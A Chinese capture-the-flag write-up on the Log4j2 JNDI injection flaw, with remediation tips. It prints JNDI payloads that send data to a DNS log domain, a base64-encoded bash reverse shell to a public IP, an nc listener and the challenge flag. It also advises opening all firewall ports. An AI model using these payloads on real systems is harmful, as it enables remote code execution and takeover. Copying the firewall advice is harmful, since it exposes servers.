知识点
- log4j2
- 日志记录模块,为log4j的升级版
- log4j2漏洞原理
- 开放了lookup功能,在生成日志时,如果发现${}则会对其中的内容进行解析处理
- 对于${}中的内容以冒号进行分界,前面为profix,后面为key,通过profix去找对应的lookup,通过lookup实例将key解析结果作为参数带回来,即lookup实现了内容解析的过程(远程拉取资源等)
- 通过ldap远程连接服务下载为java class类型文件时会进行自动解析执行
- 漏洞影响版本
- 2.0 <= Apache log4j2 <= 2.14.1
- 利用流程
- 攻击者构造payload:${jndi:ldap://攻击机恶意文件地址}--->漏洞机解析并ldap恶意文件执行---》发送本地shell到攻击机
- JNDI
- 它是为JAVA应用程序提供命名和目录访问服务的API;即将java对象以某个名称绑定到一个容器中,方便查找和维护
- ${}可利用形式
解题思路
由题目简介可以知道这是一个log4j2的漏洞,进入题目是一个提交框,点击发现是POST请求信息
通过BP抓包利用log4j2scan插件检测发现存在log4j2的漏洞(借助插件)
通过对该漏洞的了解,其原理是该日志记录组件在对日志进行分析时会对jndi接口数据进行解析,jndi为命名与目录接口,即方便调用其他服务器的资源到本地,如果调用资源为class类型则进行解析并执行
手动检测是否存在log4j2
利用到了dnslog进行检测,成功得到了目标java版本为1.8.0
构造payload:
检测是否存在漏洞:
${jndi:ldap://2b967323af.ipv6.1433.eu.org.}
通过漏洞带出java版本信息:
${jndi:ldap://${java:version}.2b967323af.ipv6.1433.eu.org.}
接下来,对漏洞进行利用
通过jndi注入工具生成恶意payload实现反弹shell
准备工作:
- 获取一台公网ip(腾讯云可以免费领一台试用一个月)
- 获取jndi注入工具(下面连个都可用,但是使用方法略微不同,具体看说明文档)
构造payload
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMDYuNTMuNDYuMTMxLzc3NzcgMD4mMQ==}|{base64,-d}|bash" -A 106.53.46.131
上述程序执行后会生成一些恶意payload,通过发送即可获取shell
解析:生成一个本地shell并发送到目标主机和端口
bash -i >& /dev/tcp/106.53.46.131/7777 0>&1
加密后为
YmFzaCAtaSA+JiAvZGV2L3RjcC8xMDYuNTMuNDYuMTMxLzc3NzcgMD4mMQ==
在目标服务器上开启监听
nc -lvp 7777
构造输入payload(通过最上面代码生成)
ldap://106.53.46.131:1389/zskjyk
这个需要自己通过exp生成,不能直接使用,生成的payload会有好几个,根据之前得到了目标主机java版本为1.8.0,所以用1.8.0的这个payload,每次生成的可能都不一样,但是都能使用
成功获取了对方的设立了shell,继而找到了flag:flag{4f6f36ad-2ec7-40eb-a504-46e008025262}
修复建议:
- 1.更新log4j至 rc2(https://github.com/apache/logging-log4j2/releases/tag/log4j-2.15.0-rc2)
- 2.配置防火墙策略,禁止主动连接外网设备
- 3.升级受影响的应用及组件
- 4.过滤相关的关键词,比如${jndi://*}
注:刚领取的云服务器一定要去设置一下防火墙,添加一条规则,将指定端口进行开放,如果不知道需要用到哪些端口就全部开放,点击添加规则--》全部ipv4可访问--》端口设置ALL--》备注随便写--》点击确认;添加成功后正常进行操作就能成功反弹shell了,我在这儿卡了一天,默认防火墙是只允许外部访问指定的端口的,没设置的就是不能访问的,但是你内部是可以通过所有端口访问外部的,被卡了一天没找出问题真的很操蛋,好歹最后脑子反应过来了
10